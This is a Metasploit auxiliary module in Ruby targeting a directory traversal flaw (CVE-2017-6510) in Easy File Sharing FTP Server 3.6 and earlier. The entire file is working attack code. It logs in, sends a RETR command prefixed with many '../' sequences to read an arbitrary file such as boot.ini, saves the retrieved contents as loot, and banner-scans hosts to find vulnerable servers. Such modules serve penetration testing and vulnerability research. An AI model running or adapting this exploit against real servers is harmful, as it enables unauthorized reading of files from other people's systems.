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require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.
This vulnerability allows an attacker to download arbitrary files from the server by crafting
a RETR command that includes file system traversal strings such as '../'
},
'Platform' => 'win',
'Author' =>
[
'Ahmed Elhady Mohamed'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-6510']
],
'DisclosureDate' => 'Mar 07 2017'
))
register_options(
[
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
], self.class)
end
def check_host(ip)
begin
connect
if /Easy File Sharing FTP Server/i === banner
return Exploit::CheckCode::Detected
end
ensure
disconnect
end
Exploit::CheckCode::Safe
end
def run_host(target_host)
begin
connect_login
sock = data_connect
if sock.nil?
error_msg = 'data_connect failed; posssible invalid response'
print_status(error_msg)
elog(error_msg)
else
file_path = datastore['PATH']
file = ::File.basename(file_path)
retr_cmd = ( "../" * datastore['DEPTH'] ) + "#{file_path}"
res = send_cmd( ["RETR", retr_cmd])
if sock.nil?
error_msg = 'data_connect failed; posssible invalid response'
print_status(error_msg)
elog(error_msg)
return
else
response_data = sock.read(1024)
end
unless response_data
print_error("#{file_path} not found")
return
end
if response_data.length == 0 or ! (res =~ /^150/ )
print_status("File (#{file_path})from #{peer} is empty...")
return
end
loot_file = store_loot("easy.file.sharing.ftp.data", "text", rhost, response_data, file, file_path)
vprint_status("Data returned:\n")
vprint_line(response_data)
print_good("Stored #{file_path} to #{loot_file}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
vprint_error(e.message)
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
rescue ::Timeout::Error, ::Errno::EPIPE => e
vprint_error(e.message)
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
ensure
data_disconnect
disconnect
end
end
end
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